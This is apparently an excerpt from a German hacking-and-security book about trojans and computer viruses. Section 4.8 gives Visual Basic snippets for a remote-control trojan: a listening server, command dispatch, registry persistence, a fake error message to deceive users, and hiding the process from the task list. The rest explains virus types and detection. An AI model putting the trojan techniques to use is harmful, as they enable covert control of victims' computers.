 4.7.5 Ersetzen der Datei runonce.exe
 Nur bei dem Trojaner Schoolbus bekannt. Die Original-Windows runonce.exe wird durch eine modifizierte Datei ersetzt, die somit eine Autorun-Methode ermöglicht. Die Original runonce.exe ist unter Win95 11.264 Bytes und Win 98/ME 40.960 Bytes groß. Sollte also eine runonce.exe gefunden werden, die eine andere Größe aufweist, so könnte sich auch hier ein Trojanisches Pferd verbergen. Ich betone KÖNNTE! Zur weiteren Er-klärung dieser Methode empfehle ich, die Beschreibung des Trojaners Schoolbus 2.0 zu lesen – zu finden unter http://serdarka.8m.com/.
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 Methode »Laufende Prozesse überprüfen«
 Häufig kommt man einem Trojaner schon auf die Schliche, indem man die so genann-ten »laufenden Prozesse« überprüft. Bei »laufenden Prozessen« handelt es sich um aus-führbare Dateien, die gerade im System »mitlaufen«. Überprüfen kann man dieses über verschiedene Wege:
 Z.B. über das Betätigen der Tasten: (AltGr)+(Strg)+(Entf). Nun erscheint eine Box, welche laufende Prozesse anzeigt, die man auch entsprechend beenden kann. Allerdings ist diese Methode überhaupt nicht sicher, da es die meisten Trojanischen Pferde verste-hen, sich vor diesem »Taskmanager« zu verstecken.
 Windows liefert von Haus aus ein gutes Werkzeug zur Überprüfung aller laufenden Pro-zesse mit. Das Programm heißt DrWatson. Rufen Sie über Start Ausführen auf und ge-ben Sie drwatson ein. Nun wird das Programm aufgerufen und führt zunächst ein paar Analysen durch. Gehen Sie auf den Menüpunkt Ansicht und wählen Sie die Option Er-weiterte Ansicht. Für Anfänger erweist sich Dr Watson jedoch als recht schwierig, da es wirklich gnadenlos alles anzeigt, was Windows so hergibt. Im Internet findet man unter www.hackerzbook.de noch andere Viewer. Bei Windows 2000 ist ein sehr guter Prozess-Viewer integriert und kann mit dem Taskmanager aufgerufen werden.
 4.8 Taktik – Selbstprogrammierte Trojaner in der Absturzinfo
 Natürlich ist es auch mit einer relativ einfachen Programmiersprache wie Visual Basic möglich, eine gefährliche Applikation im Stile von BackOrifice, Netbus oder SubSeven in 6 Schritten und ohne viel Aufwand zu programmieren. Zwar besitzt eine solche Ap-plikation gewöhnlich weniger Effektivität und Gefahrenpotential, aber es ist nicht zu un-terschätzen, was man damit anstellen kann. Der entscheidende Unterschied besteht dar-in, dass eine solche Applikation eben nicht an bestimmten Dateien oder dergleichen er-kannt werden kann, sondern völlig flexibel aufgebaut wird. Am Ende steht jedenfalls immer eine Art Trojaner mit selbstdefinierten Eigenschaften.
 Der folgende, teilweise modifizierte Text stammt wiederum aus dem Internet, denn er il-lustriert gut die wichtigsten Aspekte, die Hacker veranlassen, ein solches Programm selbst zu entwickeln. Die vergleichsweise geringe Komplexität dürfte verdeutlichen, wie gefährlich selbstprogrammierte Trojaner sein können, weil sie von keinem Virenscanner erkannt werden.
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 4.8.1 Trojaner-Programmierung mit VB
 Visual Basic ist von Haus aus bei weitem nicht so effektiv wie Visual C, C++ oder ver-gleichbares. Aber VB ist die am weitesten verbreitete Programmiersprache und dazu auch relativ einfach, so dass auch Menschen mit wenig Programmiererfahrung keine Probleme damit haben.
 Ein solches Programm selbst führt ja keine rechenintensiven Operationen aus. Es ist nur die Schnittstelle zwischen dem Winsock OCX und der Windows API, wobei diese die meisten Ergebnisse liefert. Das Programm muss nur getarnt sein, immer zuverlässig ge-startet werden können und die Operationen weiterleiten. Für diese Zwecke stellt VB eine einfache und schnell zu erstellende IDE (Entwicklungsumgebung) zur Verfügung, mit der ohne Umschweife schnell Forms und Elemente eingefügt werden können.
 4.8.2 Grundlagen und Voraussetzungen
 Die Grundkenntnisse von Visual Basic müssen vorhanden sein. Es genügt vermutlich, wenn man mal ein gutes Visual Basic-Buch gelesen und verstanden hat. Darüber hinaus braucht man noch ein Visual Basic ab Version 5.
 4.8.3 Das Winsock OCX – Einstieg in die weite Welt
 Mit Hilfe des MS Winsock OCX kann man TCP- oder UDP-Verbindungen zu einem entfernten Rechner aufbauen. Dazu benötigt man die IP-Nummer und einen offenen Port, der die Anfragen beantworten kann.
 Auf dem System des Opfers läuft die Serverapplikation des Trojaners, der auf eine An-frage über das Netzwerk/Internet an einem bestimmten Port wartet. Deshalb ist es an-fangs sinnvoll, einen festgelegten Port zu wählen. Das erleichtert das Verbinden zwischen Client und Server.
 Die Frage, die sich als nächstes stellt, ist: Wo soll der Server eingesetzt werden, im Netz-werk oder im Internet?
 Die Nutzung über das Internet schränkt z.B. den Filetransfer ein, allein schon durch die mäßige Geschwindigkeit des Netzes im Vergleich zum Netzwerk. Die Dateien müssen dann sehr viel kleiner sein, um nicht unnötig lange Übertragungszeiten zu provozieren.
 Gehen wir zuerst einmal davon aus, dass auf einem Rechner, dessen IP bekannt ist, die Serverapplikation läuft.
 Hier sind die Voraussetzungen und der Ablauf.
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 Server Applikation – was wird gebraucht?
 In beide Applikationen muss natürlich ein Winsock-OCX eingefügt werden.
 Die Winsock-OCX muss im Project auf TCP-Protokoll gestellt werden. (Anmerkung: Ich nenne das Winsock-OCX »tcp«)
 Während des Load-Ereignisses muss Winsock natürlich auf »Empfang« gestellt werden: tcp.Listen
 Der (Opfer-)Rechner wartet somit auf Verbindung über das TCP/IP Protokoll.
 Die Ports [tcp.LocalPort und auch tcp.RemotePort] sollten auf feste Werte gesetzt wer-den. Die beiden Ports müssen sich aber unterscheiden. Am besten nimmt man zwei auf-einanderfolgende Ports. Danach muss man die Prozedur erstellen, die eine Verbindung annimmt:
 Private Sub tcp_ConnectionRequest(ByVal requestID As Long) If tcp.State <> sckClosed Then tcp.Close tcp.Accept requestID End Sub
 Der Rechner akzeptiert dann eine Anfrage auf dem festgelegten Port und verbindet mit dem Client und dessen IP.
 Wenn dieser Vorgang erfolgt ist, stehen alle Tore offen. Nun können Daten an den ent-fernten Rechner verschickt werden.
 Dies geschieht über den send-Befehl. Ich empfehle aber, anfangs nur Strings über eine solche Verbindung zu jagen, da man sonst eine Fallunterscheidung machen muss.
 Bsp: tcp.senddata opencdrom wird im Client aufgerufen, und der (Opfer-)Server emp-fängt per .getdata den String opencdrom.
 Dann kann er auf den Empfang des Befehls hin diesen ausführen, indem er dem Be-triebssystem den passenden Befehl zum Öffnen des CD-ROM-Laufwerks schickt.
 Um zu unterscheiden, welcher Befehl vom Angreifer gesendet wurde, macht man eine Fallunterscheidung beim Eingang des IP-Pakets mit dem Befehl:
 Private Sub tcp_DataArrival(ByVal bytesTotal As Long) Dim msg As String tcp.GetData msg
 Nun befindet sich in der Variablen msg der Inhalt des Befehls, der übermittelt wurde (z.B. opencdrom). Mit einer gezielten Fallunterscheidung lässt sich dann der gesendete Befehl identifizieren und ausführen :
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 Select Case msg Case "cdopen" Call mciExecute("Set CDaudio door open") 'muss vorher definiert wer-den!! End Select
 In Case "........" können eigentlich so viele Anwendungsmöglichkeiten »gesteckt« wer-den wie man will (und auch nützlich findet).
 Beispiele für Funktionen, die implementiert werden können:
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 ■
 Benachrichtigung, wenn der Computer neu gestartet oder ausgeschaltet wird Ping-Funktion CD-ROM-Laufwerk öffnen/ schließen Username übermitteln Sonstige Systeminfos Kontrolltasten blockieren (Wintaste; ctrl-alt-enf) Dateilisten/Verzeichnisstrukturen übertragen Mousespielereien (Sichtbarkeit, Positionierung, Doppelklicks...) Screenshots nehmen und übermitteln Windows beenden o.ä. Messageboxen anzeigen
 Diese VB-Routinen findet man in jeder offiziellen Database; ein Blick in jede Suchma-schine lohnt sich. (Wenn eine Serverapplikation in einer anderen Programmiersprache entwickelt wird (z.B. C), dann ist der Trojaner sogar plattformübergreifend.)
 Client Applikation – alles zur Steuerung
 Diese Applikation bietet das Steuerelement für den Angreifer. Sie kann grafisch aufwän-dig programmiert werden.
 Hier werden alle Schaltflächen vereint, um die ganzen vorhandenen Funktionen einfach zugänglich zu machen.
 Technisch gibt es hier nicht soviel. Der meiste Code im Client sind Gimmicks, die das Programm besser aussehen lassen sollen und nur unnötig vergrößern (Always on top, Mouse-over-Effekte...).
 Der Client muss natürlich auch Verbindungen empfangen können, um den Status des (Opfer-)Rechners zu empfangen:
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 Private Sub tcp_ConnectionRequest(ByVal requestID As Long) If tcp.State <> sckClosed Then tcp.Close tcp.Accept requestID End Sub
 Dann muss man die IP des Opfers natürlich haben oder sich einen IP-Scanner pro-grammieren – was hier aber zu weit führen würde –, und dem Programm mit tcp.RemoteHost=input.text die IP-Nummer des Opfers mitteilen.
 Danach kann man mit dem Remote-Rechner Kontakt auf den vorher festgelegten Ports aufnehmen: tcp.Connect
 Nun kann man eigentlich schon beginnen, Strings über die bestehende Leitung zu sen-den. Dies passiert dann beispielsweise per send opencdrom, wenn man den Opferrechner auffordern will, das CD-ROM-Laufwerk zu öffnen.
 Der Client ist die wenigste Programmierarbeit bei dem Trojaner, weil er nur die Befehle senden muss. Der Server aber muss sie verstehen und ausführen. Und er muss darüber hinaus noch getarnt (stealth) sein.
 Weiterführende Verbesserungen:
 Das erste, was ein Hacker dann noch machen würde, wäre der Zugriff auf Konfigurati-ons-Files, in denen all die Informationen gespeichert werden sollten, die das Programm nicht wieder vergessen soll.
 Eine weitere Verbesserung dieses Programms würde wohl ein IP-Scanner sein, der au-tomatisch gewisse IP-Bereiche (ich denke da eher an ein lokales Netzwerk als an das In-ternet) automatisch nach Serverapplikationen scannt.
 Wie macht man das Programm stealth und kompatibel auf anderen PCs ?
 Ein großes Problem bei selbst geschriebenen Trojanern ist die Tatsache, dass sie irgend-wo gestartet werden müssen. Für diese Zwecke ist der Gebrauch des Windows-Autostart-Ordners nicht geeignet, da der Trojaner sofort erkannt werden würde. Ein Programm, dass stealth – also getarnt – laufen soll, ist in diesem Ordner fehl am Platz. Dies ist nämlich der erste Platz, an dem bei merkwürdigen Verhaltensweisen eines Rech-ners gesucht wird.
 Genau das gleiche gilt es mit dem Versuch, den Programmaufruf in der Registry im Schlüssel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run einzu-richten.
 Diese Positionen sind heutzutage fast jedem bekannt und werden auch von Tools wie msconfig überprüft.
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 Eine eher seltene Möglichkeit ist die Eintragung in HKEY_LOCAL_MACHINE\SOFT-WARE\Microsoft\Windows\CurrentVersion\RunServicesOnce. Dies bewirkt einen einma-ligen Aufruf des Programms beim nächsten Windows-Start, bei dem sich das Programm erneut in die Registry eintragen kann (es muss nur die passende Prozedur gewählt werden).
 Eine Maßnahme, die man immer treffen kann, die aber nur die Form unsichtbar macht, ist der Aufruf: frmPeerB.Visible = False Einfach aber effektiv.
 Um das Programm etwas unauffälliger zu machen, würden evtl. auch folgende Zeilen in den Programmcode eingefügt:
 Text1.Text = Command If Text1.Text <> "/load" Then msg = MsgBox("Exception Error:00x169f!", vbCritical, "Memory error!") End If
 Dies bewirkt, dass das Programm eine InfoBox mit dem Inhalt Exception Error:00x169f! auf den Bildschirm zaubert, wenn es nicht mit dem Parameter /load gestartet wird.
 Das könnte so ablaufen:
 Ein User lädt das Tool, das als Wundermittel angepriesen wurde, aus dem Netz und führt es auf seinem PC aus. Er bekommt eine Nachricht auf den Bildschirm gezaubert, die besagt, dass ein Ausnahmefehler auftrat (weil er nicht den /load-Parameter nutzte), und das Programm wird beendet.
 Er wird es vielleicht löschen, weil es nicht funktioniert. Was er jedoch nicht weiß, ist, dass sich das Programm schon längst in einen Systemordner kopiert und in die Registry zum Start eingetragen hat.
 Auf diese Weise wird ein unscheinbares Äußeres gepflegt.
 Zu diesem Zweck passt dann auch folgender Code:
 If App.PrevInstance Then mag = MsgBox("Driver already loaded.", vbOKOnly, "loading") End End If
 Er bewirkt, dass das Programm die Meldung Driver already loaded. ausgibt, wenn das Programm aktiv ist und erneut gestartet wird. Dies tritt zum Beispiel ein, wenn der User nicht locker lässt und sich mit dem Exception Error:00x169f! nicht zufrieden gibt.
 Das wichtigste an der ganzen Versteckgeschichte aber ist Folgendes:
 Der Prozess des Programms wird als Service deklariert. Dies bewirkt, dass das Pro-gramm aus der Task-Liste entfernt wird. Damit wird es eigentlich unsichtbar (nur unter Win95/98/Me).
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 Deklarationsteil: Public Declare Function RegisterServiceProcess Lib "kernel32.dll" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long Public Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Aufruf im Hauptprogramm: a = RegisterServiceProcess(GetCurrentProcessId,1)
 Weitere Informationen zu Trojanern gibt es unter:
 http://www.un-secure.de http://www.anti-trojaner.de http://www.protoss-secure.de/ http://www.sub7germany.de http://www.th-security.de
 http://www.un-secure.de/
 http://www.protoss-secure.de/
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 5.1 Grundlagen Mittwoch, 21. November 2001 11:20am
 FBI entwickelt Virus gegen Verschlüsselung
 Mit allen Mitteln gegen potenzielle Terroristen...
 Die US-Bundespolizei FBI entwickelt ein Verfahren, um verschlüsselte
 Daten bereits an ihrem Entstehungsort zu dechiffrieren. Dies meldet das
 Online-Medium MSNBC.com. Mittels einer Magic Lantern genannten Software
 sollen FBI-Spezialisten künftig einen Virus auf verdächtige Server ein-
 schleusen können, der die Voraussetzungen für die Entschlüsselung
 schafft.
 Bei vielen Servern hat das FBI leichtes Spiel.
 Danach wird sich der Virus per Mail verschicken lassen oder über be-
 kannte Sicherheitslücken in Serversoftware einschleusen lassen. Wird
 auf infizierten Rechnern ein Verschlüsselungsprogramm gestartet, zeich-
 net der Virus sämtliche Tastatureingaben auf und überträgt sie an das FBI.
 Magic Lantern setzt damit an einem Punkt an, bevor die Daten verschlüs-
 selt werden, indem es quasi dem Anwender bei der Chiffrierung über die
 Schulter schaut.
 Den US-Behörden sind Programme für die starke Verschlüsselung schon
 lange ein Dorn im Auge. Damit verschlüsselte Daten lassen sich nämlich
 nicht dechiffrieren. Erst nachdem die Industrie Fakten geschaffen hat-
 te, indem sich starke Verschlüsselungssoftware trotz Exportverbot ver-
 breitete, gaben die USA ihre offiziellen Widerstände auf. (Quelle:
 www.silicon.de)
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 1983 programmierte Fred Cohen von der Universität Südkalifornien den ersten offiziell bekannt gewordenen Virus. Er entwickelte für seine Doktorarbeit die Theorie des sich selbst reproduzierenden Programms und trat zugleich den Beweis dafür an. Der von ihm programmierte Virus lief unter dem Betriebssystem UNIX. Er bewirkte, dass jeder Benutzer des Systems sämtliche Zugriffsrechte erhielt.
 Immer wieder geistern Horror-Meldungen über neue und gefährliche Viren durch Zei-tungen und Fernsehen. Meist wird hier jedoch kräftig übertrieben. Wesentlich mehr Schäden an Computersystemen und deren Daten sind auf Sabotage oder auch unab-sichtliche Fehlbedienung oder Hackerangriffe zurückzuführen als auf Viren und deren Folgen.
 Ein Virenbefall kann aber unter Umständen zum Verlust aller Daten und Programme führen und damit finanziellen Schaden in beträchtlicher Höhe anrichten.
 Als Ansteckung bezeichnet man in der Medizin den Vorgang, bei dem ein Krankheitser-reger übertragen wird. Da sich Computerviren ähnlich wie biologische Viren verhalten, wird in Analogie auch hier der Übertragungsprozess Ansteckung genannt. Dabei wird über einen Virenträger der Virus auf einen anderen potentiellen Virenträger, wie eine Festplatte, übertragen. Dies geschieht entweder durch den Aufruf eines verseuchten Pro-gramms, das man über das Internet, eine CD oder eine Diskette erhalten hat, oder mit einer verseuchten Bootroutine der Diskette bei Bootsektorviren. Das Programm liegt im Allgemeinen getarnt vor, so dass es sich auch um eine Grafik-, Word- oder Excel-Datei handeln kann. Gerade die vermeintlich harmlosen Dateien richten oftmals den größten Schaden an, denn bei einer EXE-Datei sind viele Nutzer von vornherein vorsichtig. Wie gefährlich Makroviren aus Office-Applikationen sein können, erfahren Sie unten am Beispiel verschiedener kleiner Word-Makroprogramme.
 Nicht jeder Fehler, der während der Arbeit am Computer auftritt, ist auf einen Virus zu-rückzuführen. In den meisten Fällen handelt es sich um Mängel in der Software oder in einem Treiber. Trotzdem sollten Sie vorsichtig sein: Stellen sich plötzlich Fehler ein, die unter denselben Bedingungen bisher nicht auftraten, sollte einen Virencheck durchge-führt werden.
 5.1.1 Defekte Cluster als Tarnung
 Viren haben zumeist Tarnmechanismen, die sie vor Entdeckung schützen sollen. Einer dieser Mechanismen verhindert etwa, dass der Anwender den vom Virus belegten Spei-cherplatz auf der Festplatte entdeckt. Dazu setzt sich der Virus auf dem Datenträger an einer beliebigen Stelle fest und markiert den belegten Cluster (den Speicherbereich) als defekt. Die meisten Anwendungsprogramme (also auch Virenscanner) übergehen defek-te Cluster einfach oder melden lediglich den Defekt und zeigen den noch verbleibenden Restspeicher an.
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 5.1.2 Woran erkennt ein Virenscanner einen Virus?
 Jeder Virus besitzt ein charakteristisches Bitmuster, das Hex-Pattern. Es besteht aus ei-ner 10 bis 16 Bytes langen Kette von hexadezimalen Zeichen und dient dem Virus dazu, zu erkennen, ob eine Datei bereits infiziert ist. Ist diese Hex-Pattern bekannt, lässt es sich dazu nutzen, auf einem Datenträger nach einem bestimmten Virus zu suchen. Problematisch wird die Suche erst bei den sich selbst verschlüsselnden Viren.
 5.1.3 Grafikkarten – Hort hässlicher Angreifer ?
 Grafikkarten stehen oft als Überträger im Verdacht. Die Viren sollen sich dabei im Vi-deospeicher der Grafikkarte einnisten. Tatsächlich ist dies unmöglich: Der Videospei-cher einer Grafikkarte ist nicht bootfähig, es werden hier nur Daten abgelegt. Ein Virus kann daher nicht direkt vom Speicher der Grafikkarte aus in den ausführbaren Speicher des Rechners gelangen. Der Speicher einer Grafikkarte kann vom Virus höchstens zum Ablegen einer Kennung verwendet werden.
 5.2 Aufbau eines Virus Jeder Virus besteht aus drei, meist vier Programmteilen: Beim ersten Teil handelt es sich um eine Art Kennung, das Hex-Pattern, durch das der Virus sich selbst erkennen kann. Mit seiner Hilfe kann ein Virus jederzeit überprüfen, ob eine Datei bereits infiziert ist.
 Der zweite Teil enthält die eigentliche Infektionsroutine. Hierbei handelt es sich zuerst um eine Sub-Routine, die nach einer nicht infizierten, ausführbaren Datei sucht. Ist eine solche Datei gefunden, kopiert der Virus seinen Programmcode in die Datei. Außerdem befindet sich in diesem Teil auch der Programmcode, der bei Bedarf die Datei so um-baut, dass der Virus sofort bei Aufrufen des Programms aktiv werden kann. Auch die Sub-Routine für einen eventuellen Tarnmechanismus befindet sich hier.
 Der dritte Teil entscheidet darüber, ob es sich um einen harmlosen Virus handelt, der nur einen kleinen Scherz macht, oder um einen destruktiven Typ, der eine mittlere oder größere Katastrophe auslöst. Im harmlosen Fall steht hier die Anweisung, dass der Virus am Tag X ein Bild auf den Monitor zeichnet oder einen bestimmten Text ausgeben soll. Hier kann sich aber auch der Befehl befinden: »formatiere nach dem nächsten Neustart die Festplatte«.
 Mit dem vierten Teil schließt sich der Kreis. Hier befindet sich der Befehl, mit dem das Programm nach Ausführung des Virencodes wieder zu der Stelle zurückkehrt, an der der Virus den Programmablauf unterbrochen hat.
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 5.3 Wie infiziert ein Virus eine Datei? Die größten Unterschiede bei der Infektion von Dateien liegen in der Art, wie ein Virus sich in einem Programm festsetzt. Viele Viren hängen ihren eigenen Programmcode an das Ende einer ausführbaren Datei und setzen am Anfang einen Zeiger auf diesen Code. Wird das Programm gestartet, springt es vor der Ausführung seiner eigentlichen Aufga-ben zuerst auf das Virusprogramm. Ist dieses ausgeführt, springt es wieder an die Stelle zurück, an der der Ablauf ursprünglich unterbrochen wurde. Als Benutzer bemerkt man allenfalls eine minimale Veränderung in der Aufrufgeschwindigkeit infizierter Programme.
 Jedes Mal, wenn das Programm jetzt aufgerufen wird, startet zuerst der Virus. Er sucht von diesem Moment an nach nicht infizierten Dateien, um sich auch an diese heranzu-machen und sie zu infizieren.
 Die Infektion durch dieses Anhängen des Virencodes richtet keinen bleibenden Schaden an der befallenen Datei an, diese Viren lassen sich wieder entfernen. Manche Viren gehen aller-dings viel radikaler vor und überschreiben einfach so viel von der Datei, wie sie für ihren Programmcode benötigen. Ist das Wirtsprogramm, die Datei, genauso groß oder größer als der Virus, geschieht das relativ unauffällig. Ist der Virus größer als sein Wirt, überschreibt er die Datei komplett und verlängert sie um den Platz, den er darüber hinaus benötigt.
 5.3.1 So infizieren Bootsektor-Viren
 Eine andere Sorte von Viren verschiebt den Original-Bootsektor, schreibt das eigene La-deprogramm in den Bootstrap, das ist eine Routine, die das BIOS auffordert, das Be-triebssystem zu laden und versteckt sich dann selbst irgendwo auf dem Datenträger. Wird beim Rechnerstart auf den Bootsektor zugegriffen, startet der Virus-Loader zuerst den Virus und leitet den Zugriff danach auf den verpflanzten Original-Bootstrap um. Dadurch kann sich ein Virus auch auf Disketten verbreiten, die nur Dateien und keine Programme enthalten, da auch nicht-bootfähige Disketten einen minimalen Bootsektor haben. Wird bei einem Bootversuch kein Betriebssystem gefunden, gibt das Ladepro-gramm lediglich die Meldung am Bildschirm aus: keine Systemdiskette. Auch durch eine solche Diskette kann der Virus übertragen werden.
 Andere Viren überschreiben die in der FAT enthaltenen Informationen über ein Ver-zeichnis und geben bei jedem Programm als Adresse die des Virusprogramms an. Die Original-Adressen legt der Virus selbst in einer geordneten Liste ab. Wird nun ein Pro-gramm aufgerufen, startet es zuerst den Virus. Dieser leitet den Zugriff dann an die rich-tige Adresse weiter.
 Von jedem dieser Infektionswege gibt es einige Varianten. Daneben gibt es auch noch so genannte Hybridviren, die sowohl den Bootsektor als auch Dateien befallen können. Auch Kombinationen aus mehreren Methoden kommen häufig vor. Deswegen lassen sich Viren auch zunehmend schwerer klassifizieren.
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 5.3.2 Dropper platzieren den Virus
 Ein Dropper ist weder ein Virus noch ist es ein mit einem Virus infiziertes Programm, aber wenn dieses Programm ausgeführt wird, installiert es einen Virus im Speicher, auf der Festplatte oder in einer Datei. Dropper wurden als geeignete Überträger für einen bestimmten Virus oder einfach als Hilfsmittel zur Sabotage geschrieben. Einige Anti-Virus-Programme versuchen, Dropper zu erkennen, was mit neueren meist von Erfolg gekrönt ist.
 5.4 Kleine Übersicht der wichtigsten Virentypen Virenwarnungen gehören fast schon zur täglichen Routine im Internet. Meist wird dabei vor Mails gewarnt, deren Datei-Anhang einen Virus beherbergt. Zu solchen Warnungen gehört meist auch die Angabe, um was für einen Virus es sich handelt. Das ist wichtig, weil die »Ansteckungsgefahr« je nach Typ größer oder geringer ausfällt. Deshalb hier ein kurzer Überblick über die wichtigsten Virentypen und ihre Eigenarten.
 5.4.1 Bootsektorviren
 Die am häufigsten auftretenden Viren sind Bootsektorviren wie der Form- und der Stoned-Virus. Solche Viren infizieren die Bootsektoren von Disketten und entweder den Master-Boot-Record (MBR) bzw. Master-Boot-Partitionssektor oder den DBR, DOS Boot Record bzw. DOS-Bootsektor, der Festplatte. Ein Bootsektorvirus vermehrt sich folgendermaßen:
 Sie erhalten eine Diskette mit Daten, die mit dem Virus infiziert sind. Derjenige, von dem Sie die Diskette erhalten, weiß jedoch nicht, dass sein Rechner und damit auch die Diskette mit einem Bootsektorvirus infiziert ist. Sie legen die Diskette in Laufwerk A: ein und beginnen, die darauf enthaltenen Dateien zu verwenden. Bis jetzt hat der Virus noch gar nichts gemacht. Irgendwann schalten Sie den Computer aus. Am nächsten Morgen schalten Sie den Rechner wieder ein. Die Diskette befindet sich noch in Lauf-werk A und im BIOS wurde »Boot from Floppy« eingestellt: also versucht der Compu-ter, von dieser Diskette zu starten. Er lädt den ersten Sektor der Diskette in den Speicher, um den darin enthaltenen Code auszuführen oder um mitzuteilen Keine Systemdiskette, bitte drücken Sie eine beliebige Taste, um fortzufahren, falls er keine DOS-Systemdateien darauf finden kann. Diese Meldung hat man ja schon tausendmal gesehen, also öffnet man die Laufwerksverriegelung und drückt irgendeine Taste.
 Aber diese Diskette ist mit dem Stoned-Virus infiziert, und der Virus wird ausgeführt. Er installiert sich selbst auf der Festplatte, ersetzt den MBR und kopiert den Original-MBR an eine andere Stelle der Festplatte.
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 Wenn man künftig von der Festplatte startet, wird der MBR ausgeführt, der jetzt jedoch nichts anderes als der Stoned-Virus ist. Der Virus wird speicherresident, fängt den Inter-rupt 13h, den Interrupt für das Lesen vom und Schreiben auf Datenträger, ab und lädt danach den Original-MBR, und von da ab wird der Startvorgang ganz normal fortge-setzt. Da jedoch der Interrupt für das Lesen von/Schreiben auf Diskette abgefangen wurde, wird bei jedem Schreib- oder Lesezugriff auf Laufwerk A: (obwohl du denkst, es handle sich um einen Lesezugriff, schreibt jedoch in Wirklichkeit der Virus auf Diskette) die Diskette untersucht, und wenn sie noch nicht infiziert ist, wird der Stoned-Virus im Bootsektor installiert. Somit infiziert der Rechner jetzt jede Diskette, die in Laufwerk A: eingelegt wird und früher oder später wird eine dieser Disketten weitergegeben und der Kreislauf beginnt von vorne.
 Im Detail unterscheiden sich die verschiedenen Bootsektorviren in ihrer Arbeitsweise voneinander, aber allen liegt dasselbe Prinzip zugrunde. Sie werden über die Bootsekto-ren infizierter Disketten übertragen und können nur auf diesem Weg weitergegeben werden (ein Bootsektorvirus kann sich beispielsweise nicht über ein Netzwerk ausbrei-ten). Eine Infektion kann nur durch den Versuch, von einer infizierten Diskette zu star-ten, stattfinden, selbst wenn dieser Versuch erfolglos verläuft.
 Bootsektorviren befallen PCs. Dabei spielt es überhaupt keine Rolle, welches Betriebssys-tem verwendet wird, oder welche Schutzprogramme installiert sind, denn zu dem Zeit-punkt, zu dem sich der Bootsektorvirus installiert, werden das Betriebssystem oder das Schutzprogramm noch gar nicht ausgeführt. Bei einigen Betriebssystemen allerdings, die nicht auf DOS beruhen, wird zwar der PC infiziert, jedoch kann sich der Virus nicht auf Disketten kopieren, die danach eingelegt werden, und sich somit nicht ausbreiten. Er kann jedoch nach wie vor Schaden anrichten, wie ein Unix-Anwender erstaunt feststel-len musste, als am 6. März 2000 überraschend der Michelangelo-Virus zuschlug.
 Viele sind überrascht, wenn sie erfahren, dass sich ein Virus auf diese Art verbreitet, worin wohl auch der Grund für die Häufigkeit der Bootsektorviren zu suchen ist. Viren-scanner können aufgrund ihrer Funktionsweise nur beim Scannen von Disketten Boot-sektorviren erkennen und löschen. Beim Bootzugriff aber sind sie machtlos.
 Es empfiehlt sich, die generelle Bootsequenz im BIOS des Rechners so einzustellen, dass immer zuerst von der Festplatte gebootet wird, als zweite Möglichkeit kann das CD-ROM-Laufwerk angegeben werden. Sollte bei einem Festplattenproblem das Booten unmöglich sein (Headcrash o.ä.), kann das BIOS immer noch zum Booten von einer sauberen(!) Diskette umgestellt werden. Disketten, die Sie erhalten, sollten Sie grund-sätzlich mit einem Virenscanner prüfen, damit die Diskette nicht bei der Weitergabe Schaden anrichtet.
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 5.4.2 Companionviren
 Wenn eine COM- und eine EXE-Datei denselben Dateinamen haben und dieser Name eingegeben wird, führt DOS stets zuerst die COM-Datei aus. Companion-Viren nutzen diesen Umstand und erstellen für eine EXE-Dateien eine gleichnamige COM-Datei, in der sich dann der Virencode befindet. Wenn man dann versucht, die EXE-Datei auszu-führen, wird stattdessen das COM-Programm, also der Virus, ausgeführt. Wenn der Vi-rus das, was er tun sollte, abgeschlossen und beispielsweise einen weiteren Companion-Virus für eine weitere Datei erstellt hat, startet er das EXE-Programm, damit alles ganz normal zu funktionieren scheint.
 Es gab ein paar recht erfolgreiche Companion-Viren, aber nicht viele. Der Hauptvorteil für den Virenprogrammierer besteht darin, dass die EXE-Datei überhaupt nicht verän-dert wird und einige der veränderten Programme daher gar nicht bemerken, dass sich ein Virus ausbreitet. Zum Verstecken wird häufig die Eigenschaft Versteckt oder System in den Dateieigenschaften gesetzt. Solche Dateien werden vom Explorer standardmäßig nicht angezeigt.
 5.4.3 Killerprogramme
 Killerprogramme sind Viren, die beispielsweise nach einer gewissen Anzahl von Infekti-onen die Festplatte des infizierten Rechners zerstören. Der Virus enthält dazu einen In-fektionszähler, der von einem festgelegten Wert ausgehend nach unten zählt. Ist dieser Zähler bei Null angekommen, wird die zerstörende Aktion ausgelöst. In manchen Fällen ruft der Virus dann den Befehl FORMAT C: auf und bestätigt ihn. Andere Viren lassen sämtliche Dateien auf dem Datenträger löschen. Die unfreundlichste Variante dieser Vi-ren ändert die Einträge in der FAT. Dabei sind zwar alle Dateien noch wie zuvor auf der Festplatte vorhanden, der Datenbestand ist allerdings nicht mehr les- und verwendbar.
 5.4.4 Logische Bomben
 Logische Bomben sind eine besondere Art von Viren: Diese können entweder durch eine Art von Zeitzünder ausgelöst werden, oder durch das Erfüllen einer Bedingung, bei-spielsweise die Eingabe oder das Fehlen eines bestimmten Wortes oder eines Benutzer-namens.
 Diese Viren sind meistens auf ein bestimmtes System beschränkt: Bomben können sich normalerweise nur innerhalb eines vorgegebenen Umfeldes reproduzieren und sind da-her außerhalb dieses Umfelds meist wirkungslos.
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 5.4.5 Macroviren
 Makroviren sind Viren, die Datendateien infizieren. Makroviren werden typischerweise in Microsoft Word-Dokumenten (Endung doc oder dot) und inzwischen auch in Excel-Dateien gefunden. Sobald ein infiziertes Word-Dokument geöffnet wird, wird die Datei Normal .dot infiziert. Wird jetzt ein Dokument gespeichert oder geöffnet, wird dieses mit dem Virus infiziert. Makroviren können beispielsweise den Befehl Speichern durch einen anderen ersetzen, sie können aufgrund der verwendeten Programmiersprache Da-ten löschen oder verändern. Wie Makroviren funktionieren, welche Befehle sie auslösen können und welche Tricks eingesetzt werden, um sie zu verschleiern, erfahren Sie weiter unten.
 5.4.6 Netzwerkviren
 Spezielle Netzwerkviren gibt es bisher nur wenige, doch können sich die meisten Viren auch in Netzwerken verbreiten. Die klassischen Netzwerkviren sind die so genannten Würmer. Diese Viren verbreiten sich nicht als Anhängsel eines Programms in Systemen, sondern können ihren eigenen Code selbstständig reproduzieren und sich als eigenstän-diges Programm ablaufen lassen.
